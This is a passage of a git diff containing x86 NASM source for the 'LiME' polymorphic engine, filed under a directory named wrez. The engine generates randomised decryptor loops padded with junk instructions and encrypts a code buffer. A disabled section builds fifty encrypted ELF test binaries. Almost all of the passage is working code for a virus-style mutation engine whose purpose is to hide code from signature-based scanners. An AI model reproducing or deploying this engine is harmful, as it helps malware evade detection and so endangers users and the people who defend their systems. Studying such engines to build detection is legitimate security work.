89 db 11101000b,11101000b,-4h,04h ; sub/sub
90 db 11101000b,11000000b,04h,-4h ; sub/add
91
92lime_mk_mov_cod_addr dw lime_mmc1-@,lime_mmc2-@,lime_mmc3-@
93lime_mk_inc_cod_addr dw lime_mic1-@,lime_mic2-@,lime_mic3-@
94lime_mk_jxx_cod_addr dw lime_mjc1-@,lime_mjc2-@
95
96lime_mk_tsh_cod_addr dw lime_mtc1-@,lime_mtc2-@,lime_mtc3-@,lime_mtc4-@
97 dw lime_mtc5-@,lime_mtc6-@,lime_mtc7-@,lime_mtc8-@
98 dw lime_mtc9-@
99; dw lime_simd-@
100; dw lime_3dnow-@
101
102jxx_addr dd 0
103ret_addr dd 0
104pre_addr dd 0
105pre_count db 0
106
107lime_rnd_val dd 0
108
109orig_reg db 0
110disp_reg db 0
111temp_reg db 0
112key_reg db 0
113
114 ; +------------> make no-flags code
115 ; |+-----------> *reserved* for SIMD Instruction
116 ; ||+----------> *reserved* for 3DNow! Instruction
117 ; ||| +------> xchg disp_reg with orig_reg
118 ; ||| |
119para_eax db 00000000b ; parameters of LiME
120para_ebx dd 0 ; address of buffer for new decryptor
121para_ecx dd 0 ; begin of code to be decrypted
122para_edx dd 0 ; size of code to be decrypted
123para_ebp dd 0 ; displacement of decryptor
124para_esp dd 0
125
126 ; +--------------------> byte / dword
127 ; |+-------------------> mod := (disp32/disp8)
128 ; ||+------------------> *not used*
129 ; |||+-----------------> *not used*
130 ; ||||+----------------> inc reg / dec reg
131 ; |||||++--------------> *not used*
132 ; |||||||+-------------> clc / stc
133enc_type dd 00000000b
134
135adr_ndx dd 0
136adr_0 dd 0,0,0,0,0,0,0,0
137adr_1 dd 0,0,0,0,0,0,0,0
138adr_2 dd 0,0,0,0,0,0,0,0
139adr_3 dd 0,0,0,0,0,0,0,0
140
141lime_mmx_opcod_tab:
142db 60h, 61h, 62h, 63h, 64h, 65h, 66h, 67h, 68h, 69h, 6ah, 6bh, 6eh, 6fh
143db 74h, 75h, 76h, 6eh, 6fh,0d1h,0d2h,0d3h,0d5h,0d8h,0d9h,0dbh,0dch,0ddh
144db 0dfh,0e1h,0e2h,0e5h,0e8h,0e9h,0ebh,0ech,0edh,0efh,0f1h,0f2h,0f3h,0f5h
145db 0f8h,0f9h,0fah,0fch,0fdh,0feh
146
147; ---------------------------------------------------------------
148
149lime:
150 pushf
151 cld
152
153 mov edi,ebx
154
155 push ebp
156 call lime_reloc
157lime_reloc:
158 pop ebp
159 sub ebp,lime_reloc-@
160 pop dword [ebp-@+para_ebp]
161 mov [ebp-@+para_ebx],ebx
162 mov [ebp-@+para_ecx],ecx
163 mov [ebp-@+para_edx],edx
164 mov [ebp-@+para_esp],esp
165
166 call lime_make_prefix_decrypt ;
167 mov [ebp-@+pre_addr],esp
168
169 mov al,3
170 call lime_rnd_eax_and_al
171 mov [ebp-@+adr_ndx],eax
172 xchg ecx,eax
173 inc ecx
174 lea esi,[ebp-@+adr_0]
175lime_make_next_decrypt:
176 call lime_make_decrypt ;
177 ror dword [ebp-@+enc_type],8
178 loop lime_make_next_decrypt
179
180 call lime_encrypt ;
181
182 mov ecx,[ebp-@+para_ebx]
183 mov edx,edi
184 sub edx,ecx
185
186 mov esp,[ebp-@+para_esp]
187 popf
188 ret
189
190; ---------------------------------------------------------------
191
192lime_make_prefix_decrypt:
193 pop dword [ebp-@+ret_addr]
194 call lime_make_tsh_cod
195
196 mov al,7
197 call lime_rnd_eax_and_al
198 add al,7
199 mov [ebp-@+pre_count],al
200 xchg ecx,eax
201mk_next_prefix_decrypt:
202 call lime_make_tsh_cod
203 call lime_set_disp_reg
204
205 call lime_make_mov_cod
206 push edi ; p0
207 stosd
208
209 call lime_make_xchg_cod_rnd
210
211 mov al,02h
212 call lime_rnd_eax_and_al
213 add al,81h ; (add/sub/xor) dword [reg+(xxxxxx)xx],xxxxxxxx
214 stosb
215 push eax
216 mov al,03h
217 call lime_rnd_al
218 lea ebx,[ebp-@+lime_pre_opcod_tab]
219 xlatb
220 or al,[ebp-@+disp_reg]
221 stosb
222 pop ebx
223 push edi ; p1
224 call lime_rnd
225 stosd
226 jp lmpd_a1
227 xor byte [edi-05h],11000000b
228 sub edi,byte 03h
229lmpd_a1:
230 call lime_rnd
231 stosd
232 cmp bl,83h
233 jnz lmpd_a2
234 sub edi,byte 03h
235lmpd_a2:
236
237 loop mk_next_prefix_decrypt
238
239 call lime_make_tsh_cod
240 push dword [ebp-@+ret_addr]
241 ret
242
243; ---------------------------------------------------------------
244
245lime_make_decrypt:
246 push ecx
247 call lime_make_tsh_cod
248 call lime_set_disp_reg
249
250 ; XXXwrez
251; mov al,0cch
252; stosb ; *test*
253
254 call lime_make_mov_cod
255 call lime_save_edi ; a0 = disp value
256 stosd
257
258 call lime_make_tsh_cod
259 call lime_rnd
260 and al,11111001b
261 mov [ebp-@+enc_type],al
262 mov bl,al
263 rol al,1
264 mov ah,al
265 call lime_rnd_reg
266 mov [ebp-@+key_reg],al
267 shl ah,3
268 or al,ah
269 or al,0b0h ; mov reg,key
270 stosb
271 call lime_rnd
272 mov [esi+4*6],eax ; a7 = key
273 stosd
274 test bl,10000000b
275 jnz lmd_a1
276 sub edi,byte 03h
277lmd_a1:
278 call lime_rnd
279 and al,00000010b
280 mov [ebp-@+para_eax],al
281 call lime_make_xchg_cod_rnd
282
283 call lime_save_edi ; a1 = address of loop
284 call lime_make_tsh_cod
285
286 mov al,[ebp-@+disp_reg]
287 mov [ebp-@+orig_reg],al
288
289 push esi
290 lea esi,[ebp-@+lime_enc_opcod_tab]
291 mov al,22
292 call lime_rnd_esi
293 add esi,eax
294 cmp eax,byte 16*2
295 pushf
296 lodsd
297 test bl,10000000b
298 jz lmd_a2
299 or eax,00010001h
300lmd_a2:
301 popf
302 push eax
303 jbe mk_no_cf
304 mov al,bl
305; and al,01h
306 or al,0f8h ; clc / stc
307 stosb
308 call lime_make_noflags_cod
309mk_no_cf:
310 pop eax
311 pop esi
312 mov bh,bl
313 and bh,01000000b
314 sub ah,bh
315 mov [esi],eax ; a2 = decryptic type
316 add esi,byte 04h
317 or ah,[ebp-@+disp_reg]
318 cmp al,40h
319 jae lmd_a3
320 mov dh,[ebp-@+key_reg]
321 rol dh,3
322 or ah,dh
323lmd_a3:
324 stosw ; (add/sub/xor...) (b/w) [reg+(xxxxxx)xx],key
325 xchg edx,eax
326 call lime_rnd
327 jp lmd_a4
328 and byte [edi-01h],11111000b
329 or byte [edi-01h],00000100b
330 and al,11000000b
331 or al,00100000b
332 or al,[ebp-@+disp_reg]
333 stosb
334lmd_a4:
335 call lime_save_edi ; a3 = address of displacement
336 call lime_rnd
337 stosd
338 test bl,01000000b
339 jz lmd_a5
340 sub edi,byte 03h
341lmd_a5:
342 cmp dl,0d0h
343 jae mk_no_val
344 cmp dl,40h
345 jb mk_no_val
346 call lime_rnd
347 and al,7fh
348 stosd
349 cmp dl,81h
350 jz lmd_a6
351 and eax,byte 7fh
352 sub edi,byte 03h
353lmd_a6:
354 mov [esi+4*3],eax ; a7 = key
355mk_no_val:
356
357 call lime_make_xchg_cod_rnd
358 call lime_make_inc_cod ; (inc/dec) reg
359 call lime_make_xchg_cod_rnd
360
361 mov ax,0f881h ; cmp reg,xxxxxxxx
362 or ah,[ebp-@+disp_reg]
363 stosw
364 call lime_aox_eax
365 call lime_save_edi ; a4 = address of "cmp reg,xxxxxxxx"
366 stosd
367
368 call lime_make_noflags_cod
369
370 test byte [ebp-@+para_eax],00000010b
371 jz mk_no_xchg
372 mov al,04h
373 call lime_rnd_eax_and_al
374 add al,87h ; xchg orig_reg,disp_reg
375 stosb
376 mov al,[ebp-@+orig_reg]
377 mov ah,al
378 xchg [ebp-@+disp_reg],al
379 dec edi
380 cmp ah,al
381 jz mk_no_xchg
382 inc edi
383 rol ah,3
384 or al,ah
385 or al,11000000b
386 cmp byte [edi-01h],87h
387 jnz lmd_a7
388 call lime_xchg_reg
389lmd_a7:
390 stosb
391 call lime_make_noflags_cod
392mk_no_xchg:
393 and byte [ebp-@+para_eax],11111101b
394
395 call lime_make_jz_cod ; jxx (xxxxxx)xx
396 call lime_save_edi ; a5 = address of "jxx xx"
397
398 call lime_make_noflags_cod
399
400 mov al,0e9h ; jmp xxxxxxxx
401 stosb
402 mov eax,[esi-5*4] ; address of loop
403 sub eax,edi
404 dec eax
405 cmp eax,byte -80h
406 jae mk_short_jmp
407 sub eax,byte 03h
408 stosd
409 jmp short mk_jmp_end
410mk_short_jmp:
411 mov byte [edi-01h],0ebh ; jmp xx
412 stosb
413mk_jmp_end:
414
415 call lime_rnd_trash
416 call lime_save_edi ; a6
417
418 push esi
419 mov esi,[esi-4*2] ; address of "jxx xx"
420 mov eax,edi
421 sub eax,esi
422 cmp byte [esi-02h],00h
423 jnz mk_jz_a
424 sub esi,byte 03h
425mk_jz_a:
426 mov [esi-01h],al
427 pop esi
428 add esi,byte 04h
429
430 pop ecx
431 ret
432
433; -------------------------------
434; ...
435; mov reg,xxxxxxxx <---- a0
436; ...
437;a1:
438; ...
439; xor [eax+xx],key <---- a7
440; ^^^(a2) ^^a3
441; ...
442; inc eax
443; ...
444; cmp eax,xxxxxxxx <---- a4
445; ...
446; jz a6
447;a5:
448; ...
449; jmp a1
450; ...
451;a6:
452; -------------------------------
453
454; ---------------------------------------------------------------
455
456lime_encrypt:
457 mov ecx,[ebp-@+para_edx]
458 mov esi,[ebp-@+para_ecx]
459 repz movsb
460
461 push edi
462calc_disp:
463 rol dword [ebp-@+enc_type],8
464 mov eax,0aa9090ach
465 test byte [ebp-@+enc_type],10000000b
466 jz le_a1
467 or eax,01000001h
468le_a1:
469 mov [ebp-@+enc_buff-01h],eax
470
471 lea esi,[ebp-@+adr_0]
472 imul ebx,[ebp-@+adr_ndx],byte 4*8
473 lea edx,[esi+ebx]
474 mov eax,edi
475 mov esi,edi
476 sub eax,[edx+4*6]
477 and al,11111100b
478 add eax,byte 04h
479 sub esi,eax
480 mov eax,esi
481
482 sub eax,[ebp-@+para_ebx]
483 add eax,[ebp-@+para_ebp]
484 mov ebx,[edx+4*3]
485 mov ecx,[ebx]
486 test byte [ebp-@+enc_type],01000000b
487 jz le_a2
488 movsx ecx,cl
489le_a2:
490 sub eax,ecx
491 mov ecx,[edx+4*7] ; decryptic value
492
493 test byte [ebp-@+enc_type],00001000b
494 jnz le_a3
495 mov ebx,[edx] ; address of "mov reg,xxxxxxxx"
496 mov [ebx],eax
497 add eax,edi
498 sub eax,esi
499 mov ebx,[edx+4*4] ; address of "cmp reg,xxxxxxxx"
500 jmp short le_a4
501le_a3:
502 mov ebx,[edx+4*4] ; address of "cmp reg,xxxxxxxx"
503 mov [ebx],eax
504 add eax,edi
505 sub eax,esi
506 mov ebx,[edx] ; address of "mov reg,xxxxxxxx"
507le_a4:
508 mov [ebx],eax
509
510; jmp _test1_lime_encrypt ; *test*
511 mov eax,[edx+4*2] ; decryptic type
512 shr eax,16
513 mov [ebp-@+enc_buff],ax
514 mov ebx,edi
515 mov edi,esi
516
517 mov al,[ebp-@+enc_type]
518; and al,1
519 or al,0f8h ; clc / stc
520 mov [ebp-@+enc_buff-02h],al
521
522encrypt_prog:
523 db 90h
524 lodsb ; 0ach
525enc_buff db 90h,90h
526 stosb ; 0aah
527 cmp esi,ebx
528 jb encrypt_prog
529_test1_lime_encrypt:
530
531 cmp byte [ebp-@+adr_ndx],0
532 jz lime_prefix_encrypt
533 dec byte [ebp-@+adr_ndx]
534 jmp calc_disp
535
536; ---------------------------------------------------------------
537
538lime_prefix_encrypt:
539; jmp _test2_lime_encrypt ; *test*
540 movzx ecx,byte [ebp-@+pre_count]
541 mov edi,[ebp-@+pre_addr]
542lpe_next:
543 mov al,1fh
544 call lime_rnd_eax_and_al
545 add eax,[ebp-@+adr_0+4*1] ; address of loop
546 mov ebx,eax
547 sub eax,[ebp-@+para_ebx]
548 add eax,[ebp-@+para_ebp]
549 mov esi,[edi]
550 mov edx,[esi]
551 push esi
552 add esi,byte 04h
553 test byte [esi-05h],01000000b
554 jz lpe_a1
555 movsx edx,dl
556 sub esi,byte 03h
557lpe_a1:
558 sub eax,edx
559 mov edx,[edi+04h]
560 mov [edx],eax
561 add edi,byte 08h
562 mov edx,[esi]
563 pop esi
564 mov eax,[esi-02h]
565 cmp al,83h
566 jnz lpe_a2
567 movsx edx,dl
568lpe_a2:
569 and ah,00111000b
570 jz lpe_sub
571 cmp ah,00101000b
572 jz lpe_add
573 xor [ebx],edx
574 loop lpe_next
575 jmp short lime_encrypt_end
576lpe_sub:
577 sub [ebx],edx
578 loop lpe_next
579 jmp short lime_encrypt_end
580lpe_add:
581 add [ebx],edx
582 loop lpe_next
583_test2_lime_encrypt:
584
585lime_encrypt_end:
586 pop edi
587 call lime_rnd_trash
588 ret
589
590; ---------------------------------------------------------------
591
592lime_set_disp_reg:
593 push edx
594lsdr_l:
595 mov al,111b
596 call lime_rnd_al
597 cmp al,100b
598 jz lsdr_l
599 mov dl,[ebp-@+key_reg]
600 test bl,10000000b
601 jnz lsdr_a
602 and dl,011b
603lsdr_a:
604 cmp al,dl
605 jz lsdr_l
606 cmp al,[ebp-@+disp_reg]
607 jz lsdr_l
608 mov [ebp-@+disp_reg],al
609 mov [ebp-@+temp_reg],al
610 pop edx
611 ret
612
613lime_rnd:
614 push edx
615 rdtsc
616 xor eax,[ebp-@+lime_rnd_val]
617 adc eax,edi
618 neg eax
619 sbb eax,edx
620 rcr eax,1
621 xor [ebp-@+lime_rnd_val],eax
622 pop edx
623 ret
624
625lime_rnd_eax_and_al:
626 push edx
627 movzx edx,al
628 call lime_rnd
629 and eax,edx
630 pop edx
631 ret
632
633lime_rnd_al:
634 push edx
635 mov edx,eax
636lra_l:
637 call lime_rnd
638 cmp al,dl
639 ja lra_l
640 mov dl,al
641 xchg eax,edx
642 pop edx
643 ret
644
645lime_rnd_esi:
646 and eax,byte 07fh
647 call lime_rnd_al
648 add eax,eax
649 add esi,eax
650 ret
651
652lime_rnd_addr:
653 call lime_rnd_esi
654 movzx eax,word [esi]
655 mov esi,ebp ; added
656 add esi,eax
657 lea esi,[esi] ; XXXwrez
658 ret
659
660lime_save_edi:
661 mov [esi],edi
662 add esi,byte 04h
663 ret
664
665lime_rnd_reg_dd:
666 mov al,01h
667lime_rnd_reg:
668 push ecx
669 push edx
670 xchg edx,eax
671lrr_l:
672 mov al,111b
673 call lime_rnd_al
674 mov ah,al
675 test dl,01h
676 jnz lrr_w
677 and al,011b
678lrr_w:
679 cmp al,100b
680 jz lrr_l
681 cmp al,[ebp-@+disp_reg]
682 jz lrr_l
683 cmp al,[ebp-@+temp_reg]
684 jz lrr_l
685 and al,011b
686 mov cl,[ebp-@+key_reg]
687 and cl,011b
688 cmp al,cl
689 jz lrr_l
690 mov dl,ah
691 xchg eax,edx
692 pop edx
693 pop ecx
694 ret
695
696lime_rnd_trash:
697 push ecx
698 mov al,3
699 call lime_rnd_eax_and_al
700 or al,04h
701 xchg ecx,eax
702lrt_l:
703 call lime_rnd
704 stosb
705 loop lrt_l
706 pop ecx
707 ret
708
709lime_rnd_rm:
710 push edx
711 xor edx,edx
712 mov dl,al
713 mov ah,al
714 rol ah,3
715 mov al,[edi-01h]
716 call lime_rnd_reg
717 or ah,al
718 rol ah,3
719 mov al,[edi-01h]
720 call lime_rnd_reg
721 or al,ah
722 stosb
723 cmp dl,11b
724 jz lrr_a2
725 and al,11000111b
726 push eax
727 cmp eax,edi
728 jp lrr_a1
729 or ah,00000100b
730 mov [edi-01h],ah
731 mov ah,al
732 mov al,0ffh
733 call lime_rnd_al
734 and al,11111000b
735 xor al,ah
736 stosb
737lrr_a1:
738 call lime_rnd
739 stosd
740 pop eax
741 cmp al,00000101b
742 jz lrr_a2
743 cmp dl,10b
744 je lrr_a2
745 sub edi,byte 04h
746 add edi,edx
747lrr_a2:
748 pop edx
749 ret
750
751lime_xchg_reg:
752 push edx
753 cmp eax,edi
754 jp lxr_e
755 and al,00111111b
756 mov edx,eax
757 shr al,3
758 shl dl,3
759 or al,dl
760 or al,11000000b
761lxr_e:
762 pop edx
763 ret
764
765lime_aox_eax:
766 cmp eax,edi
767 jp lae_e
768 test byte [edi-01h],111b
769 jnz lae_e
770 dec edi
771 mov al,[edi]
772 dec edi
773 and al,00111000b
774 or al,00000101b
775 stosb
776lae_e:
777 ret
778
779; ---------------------------------------------------------------
780
781lime_make_mov_cod:
782 push esi
783 lea esi,[ebp-@+lime_mk_mov_cod_addr]
784 mov al,02h
785 call lime_rnd_addr
786 call esi
787 pop esi
788 ret
789lime_mmc1:
790 mov al,0b8h ; mov reg,xxxxxxxx
791 or al,[ebp-@+disp_reg]
792 stosb
793 ret
794lime_mmc2: ; set reg=0 / (add/or/xor) reg,xx
795 lea esi,[ebp-@+lime_zero_reg_opcod_tab]
796 mov al,03h
797 call lime_rnd_esi
798 lodsd
799 or ah,[ebp-@+disp_reg]
800 rol ah,3
801 or ah,[ebp-@+disp_reg]
802 stosw
803 call lime_make_xchg_cod_rnd
804 lea esi,[ebp-@+lime_init_reg_opcod_tab]
805 mov al,03h
806 call lime_rnd_esi
807 lodsd
808 or ah,[ebp-@+disp_reg]
809 stosw
810 call lime_aox_eax
811 ret
812lime_mmc3:
813 mov ax,0a08dh ; lea reg,xxxxxxxx
814 or ah,[ebp-@+disp_reg]
815 rol ah,3
816 stosw
817 ret
818
819lime_make_xchg_cod_rnd:
820 cmp eax,edi
821 jp lime_mxc_e
822 or byte [ebp-@+para_eax],00000010b
823 call lime_make_tsh_cod
824 mov dl,[ebp-@+disp_reg]
825 mov al,07h
826 call lime_rnd_eax_and_al
827 test byte [ebp-@+key_reg],011b
828 jz lime_mxc_a1
829 test al,100b
830 jnz lime_mxc_a6
831lime_mxc_a1:
832 and al,011b
833 test al,01b
834 jz lime_mxc_a4
835 cmp dl,101b
836 jnz lime_mxc_a2
837 and al,01b
838lime_mxc_a2:
839 add al,8ah
840 stosb
841 call lime_set_disp_reg
842 rol al,3
843 or al,dl
844 stosb
845 cmp byte [edi-02h],8dh
846 jz lime_mxc_a3
847 or byte [edi-01h],11000000b
848lime_mxc_a3:
849 jmp short lime_mxc_e
850lime_mxc_a4:
851 add ax,1887h ; mov ah,00011regb
852 stosb
853 or ah,[ebp-@+disp_reg]
854 rol ah,3
855 call lime_set_disp_reg
856 or al,ah
857 cmp byte [edi-01h],87h
858 jnz lime_mxc_a5
859 call lime_xchg_reg
860lime_mxc_a5:
861 stosb
862lime_mxc_e:
863 call lime_make_tsh_cod
864 ret
865lime_mxc_a6:
866 call lime_set_disp_reg
867 cmp dl,000b
868 jz lime_mxc_a7
869 mov al,90h
870 or al,dl
871 mov byte [ebp-@+disp_reg],00h
872 jmp short lime_mxc_a5
873lime_mxc_a7:
874 call lime_set_disp_reg
875 or al,90h
876 jmp short lime_mxc_a5
877
878; ---------------------------------------------------------------
879
880lime_make_inc_cod:
881 push esi
882 lea esi,[ebp-@+lime_mk_inc_cod_addr]
883 mov al,01h
884 call lime_rnd_addr
885 mov al,bl
886 and al,00001000b
887 or al,[ebp-@+disp_reg]
888 test bl,10000000b
889 jz lime_mic_t
890 lea esi,[ebp-@+lime_mic3]
891lime_mic_t:
892 call esi
893 pop esi
894 ret
895lime_mic1:
896 or al,40h ; (inc/dec) reg
897 stosb
898 ret
899lime_mic2:
900 or al,11000000b
901 mov ah,al
902 mov al,0ffh ; (inc/dec) reg
903 stosw
904 ret
905lime_mic3: ; (add/sub) reg,xx / (add/sub) reg,xx
906 mov al,81h
907 stosb
908 lea esi,[ebp-@+lime_add4_reg_opcod_tab]
909 mov al,03h
910 call lime_rnd_esi
911 add esi,eax
912 mov edx,[esi]
913 mov al,dl
914 or al,[ebp-@+disp_reg]
915 stosb
916 call lime_aox_eax
917 call lime_rnd
918 stosd
919 xchg ecx,eax
920 push edx
921 call lime_make_xchg_cod_rnd
922 pop edx
923 mov al,81h
924 stosb
925 mov al,dh
926 or al,[ebp-@+disp_reg]
927 stosb
928 call lime_aox_eax
929 cmp dh,dl
930 jnz lime_mic3_a1
931 neg ecx
932lime_mic3_a1:
933 xchg eax,edx
934 shr eax,16
935 test bl,00001000b
936 jz lime_mic3_a2
937 shr eax,8
938lime_mic3_a2:
939 movsx eax,al
940 add eax,ecx
941 stosd
942 ret
943
944; ---------------------------------------------------------------
945
946lime_make_jz_cod:
947 push esi
948 lea esi,[ebp-@+lime_mk_jxx_cod_addr]
949 mov al,01h
950 call lime_rnd_addr
951 mov al,01h
952 call lime_rnd_al
953 test bl,00001000b
954 call esi
955 pop esi
956 ret
957lime_mjc1:
958 jz lime_mjc1_a
959 mov al,0ffh
960lime_mjc1_a:
961 add al,73h ; jz(ae/b) xx
962 stosw
963 ret
964lime_mjc2:
965 mov ah,al
966 jz lime_mjc2_a
967 mov ah,0ffh
968lime_mjc2_a:
969 add ah,83h ; jz(ae/b) xxxxxxxx
970 mov al,0fh
971 stosw
972 xor eax,eax
973 stosd
974 ret
975
976; ---------------------------------------------------------------
977
978lime_make_noflags_cod:
979 or byte [ebp-@+para_eax],10000000b
980 call lime_make_tsh_cod
981 and byte [ebp-@+para_eax],01111111b
982 ret
983
984lime_make_tsh_cod:
985; ret ; *test*
986 push ebx
987 push ecx
988 push edx
989 push esi
990 mov al,3
991 call lime_rnd_eax_and_al
992 or eax,byte 01h
993 xchg ecx,eax
994lmtc_l:
995 lea esi,[ebp-@+lime_mk_tsh_cod_addr]
996 xor eax,eax
997 mov al,08h
998 test byte [ebp-@+para_eax],10000000b
999 jz lmtc_t1
1000 mov al,03h
1001lmtc_t1:
1002 call lime_rnd_al
1003 rol eax,1
1004 add esi,eax
1005 movzx eax,word [esi]
1006 mov esi,ebp ; added
1007 add esi,eax
1008 lea esi,[esi] ; XXXwrez
1009 call lime_rnd
1010 call esi
1011 mov esi,[ebp-@+jxx_addr]
1012 or esi,esi
1013 jz lmtc_t2
1014 mov eax,edi
1015 sub eax,esi
1016 cmp eax,byte 02h
1017 jbe lmtc_t2
1018 mov [esi-01h],al
1019 and dword [ebp-@+jxx_addr],byte 00h
1020lmtc_t2:
1021 loop lmtc_l
1022 and dword [ebp-@+jxx_addr],byte 00h
1023 pop esi
1024 pop edx
1025 pop ecx
1026 pop ebx
1027 ret
1028
1029lime_mtc1: ; 8087
1030 and al,00000100b
1031 or al,0d8h
1032 stosb
1033lmtc1_a1:
1034 mov al,ah
1035 and ah,00000111b
1036 cmp ah,00000101b
1037 jnz lmtc1_a2
1038 and al,00111111b
1039 stosb
1040 mov al,7fh
1041 call lime_rnd_eax_and_al
1042 add eax,[ebp-@+para_ebp]
1043 stosd
1044 ret
1045lmtc1_a2:
1046 or al,11000000b
1047 stosb
1048 ret
1049
1050lime_mtc2:
1051 mov al,0fh
1052 call lime_rnd_al
1053 or al,80h
1054 cmp al,8dh ; lea reg,[reg]
1055 jz lmtc2_a
1056 cmp al,8bh
1057 ja lime_mtc2
1058 cmp al,86h
1059 jb lime_mtc2
1060 stosb ; (xchg/mov) reg,reg
1061 mov al,11b
1062 call lime_rnd_rm
1063 jmp short lime_mtc2
1064lmtc2_a:
1065 stosb
1066 mov al,10b
1067 call lime_rnd_al
1068 call lime_rnd_rm
1069 ret
1070
1071lime_mtc3: ; MMX
1072 push eax
1073 mov al,0fh
1074 stosb
1075 lea ebx,[ebp-@+lime_mmx_opcod_tab]
1076 mov al,2fh
1077 call lime_rnd_al
1078 xlatb
1079 stosb
1080 pop eax
1081 or al,11000000b
1082 stosb
1083 ret
1084
1085lime_mtc4:
1086 and al,01h
1087 mov dl,al
1088 shl dl,3
1089 call lime_rnd_reg
1090 or al,0b0h ; mov reg,xxxxxx(xx)
1091 or al,dl
1092 stosb
1093 cmp al,0b8h
1094 jb lmtc4_a
1095 call lime_rnd
1096 and eax,0bfff83ffh
1097 stosd
1098 ret
1099lmtc4_a:
1100 call lime_rnd
1101 stosb
1102 ret
1103
1104lime_mtc5:
1105 and al,03h
1106 or al,80h ; (add/or/adc/sbb/and/sub/xor/cmp) reg,xx
1107 stosb
1108 call lime_rnd_reg
1109 or al,11000000b
1110 stosb
1111 call lime_rnd
1112 and eax,83ffbfffh
1113 stosd
1114 cmp byte [edi-06h],81h
1115 jz lime_mtc5_a
1116 sub edi,byte 03h
1117lime_mtc5_a:
1118; ret
1119
1120lime_mtc6:
1121 cmp dword [ebp-@+jxx_addr],byte 00h
1122 jnz lime_mtc4
1123 mov al,0fh
1124 call lime_rnd_eax_and_al
1125 or al,70h ; jxx xx
1126 stosw
1127 mov [ebp-@+jxx_addr],edi
1128 call lime_mtc5
1129 ret
1130
1131lime_mtc7:
1132 jp lime_mtc7_a
1133 and al,01h
1134 or al,0feh ; (inc/dec) reg
1135 stosb
1136 call lime_rnd_reg
1137 and ah,00001000b
1138 or al,11000000b
1139 or al,ah
1140 stosb
1141 ret
1142lime_mtc7_a:
1143 call lime_rnd_reg_dd
1144 and ah,00001000b
1145 or ah,40h ; (inc/dec) reg
1146 or al,ah
1147 stosb
1148 ret
1149
1150lime_mtc8:
1151; ret
1152 call lime_rnd_reg_dd
1153 mov dl,al
1154 mov [ebp-@+temp_reg],al
1155 or al,0b8h ; mov reg,xxxxxxxx
1156 stosb
1157 call lime_rnd
1158 stosd
1159 push edi
1160 push eax
1161 call lime_make_noflags_cod
1162 call lime_rnd
1163 and al,08h
1164 or al,40h ; (inc/dec) reg
1165 or al,[ebp-@+temp_reg]
1166 stosb
1167 push eax
1168 call lime_make_noflags_cod
1169 mov ax,0f881h ; cmp reg,xxxxxxxx
1170 or ah,[ebp-@+temp_reg]
1171 stosw
1172 mov al,7fh
1173 call lime_rnd_eax_and_al
1174 or al,10h
1175 pop edx
1176 test dl,08h
1177 pop edx
1178 jnz lime_mtc8_a1
1179 add eax,edx
1180 jmp short lime_mtc8_a2
1181lime_mtc8_a1:
1182 xchg eax,edx
1183 sub eax,edx
1184lime_mtc8_a2:
1185 stosd
1186 call lime_make_noflags_cod
1187 mov al,[ebp-@+disp_reg]
1188 mov [ebp-@+temp_reg],al
1189 mov al,75h ; jnz xx
1190 stosw
1191 cmp eax,edi
1192 jp lime_mtc8_a3
1193 pop eax
1194 sub eax,edi
1195 cmp eax,byte -80h
1196 jb lime_mtc8_a4
1197 mov [edi-01h],al
1198 ret
1199lime_mtc8_a3:
1200 pop eax
1201lime_mtc8_a4:
1202 push edi
1203 call lime_rnd_trash
1204 pop edx
1205 mov eax,edi
1206 sub eax,edx
1207 mov [edx-01h],al
1208 ret
1209
1210lime_mtc9: ; (add/or/adc/sbb/and/sub/xor/cmp) reg,reg
1211 call lime_rnd
1212 and al,00111011b
1213 stosb
1214 call lime_rnd_reg
1215 or al,00011000b
1216 rol al,3
1217 mov ah,al
1218 mov al,[edi-01h]
1219 call lime_rnd_reg
1220 or al,ah
1221 stosb
1222 ret
1223
1224; ---------------------------------------------------------------
1225
1226LIME_END:
1227LIME_SIZE equ LIME_END-LIME_BEGIN
1228
1229; ***************************************************************
1230; [LiME] test files generator
1231; ***************************************************************
1232
1233%if 0
1234main:
1235 mov eax,4
1236 mov ebx,1
1237 mov ecx,gen_msg
1238 mov edx,gen_msg_len
1239 int 80h
1240
1241 mov ecx,50
1242gen_l1:
1243 push ecx
1244
1245 mov eax,8
1246 mov ebx,filename
1247 mov ecx,000111111101b ; 000rwxrwxrwx
1248 int 80h
1249
1250 push eax
1251
1252 mov eax,0
1253 mov ebx,host_entry
1254 mov ecx,host
1255 mov edx,host_len
1256 mov ebp,[e_entry]
1257 call LIME
1258
1259 pop ebx
1260
1261 mov eax,4
1262 mov ecx,elf_head
1263 add edx,host_entry-elf_head
1264 mov [p_filsz],edx
1265 mov [p_memsz],edx
1266 int 80h
1267
1268 mov eax,6
1269 int 80h
1270
1271 lea ebx,[filename+1]
1272 inc byte [ebx+1]
1273 cmp byte [ebx+1],'9'
1274 jbe gen_l2
1275 inc byte [ebx]
1276 mov byte [ebx+1],'0'
1277gen_l2:
1278 pop ecx
1279 loop gen_l1
1280
1281 mov eax,1
1282 xor ebx,ebx
1283 int 80h
1284
1285gen_msg db 'Generates 50 [LiME] encrypted test files...',0dh,0ah
1286gen_msg_len equ $-gen_msg
1287
1288host:
1289 call host_reloc
1290host_reloc:
1291 pop ecx
1292 add ecx,host_msg-host_reloc
1293 mov eax,4
1294 mov ebx,1
1295 mov edx,host_msg_len
1296 int 80h
1297 mov eax,1
1298 xor ebx,ebx
1299 int 80h
1300
1301host_msg db 'This is a [LiME] test file! ...('
1302filename db 't00',0
1303 db ')',0dh,0ah
1304host_msg_len equ $-host_msg
1305host_len equ $-host
1306
1307elf_head:
1308e_ident db 7fh,'ELF',1,1,1
1309 times 9 db 0
1310e_type dw 2
1311e_mach dw 3
1312e_ver dd 1
1313e_entry dd host_entry-elf_head+08049000h
1314e_phoff dd 34h
1315e_shoff dd 0
1316e_flags dd 0
1317e_elfhs dw 34h
1318e_phes dw 20h
1319e_phec dw 01h
1320e_shes dw 0
1321e_shec dw 0
1322e_shsn dw 0
1323elf_ph:
1324p_type dd 1
1325p_off dd 0
1326p_vaddr dd 08049000h
1327p_paddr dd 08049000h
1328p_filsz dd file_len
1329p_memsz dd file_len
1330p_flags dd 7
1331p_align dd 1000h
1332 times 20h db 0
1333host_entry:
1334 times 1024*4 db 0
1335
1336file_len equ $-elf_head
1337
1338%endif
diff --git a/other/wrez/lime.o b/other/wrez/lime.o
new file mode 100644
index 0000000..624c789
--- /dev/null
+++ b/other/wrez/lime.o
Binary files differ
diff --git a/other/wrez/lookup-example/shared-library-build.sh b/other/wrez/lookup-example/shared-library-build.sh
new file mode 100755
index 0000000..e9832db
--- /dev/null
+++ b/other/wrez/lookup-example/shared-library-build.sh
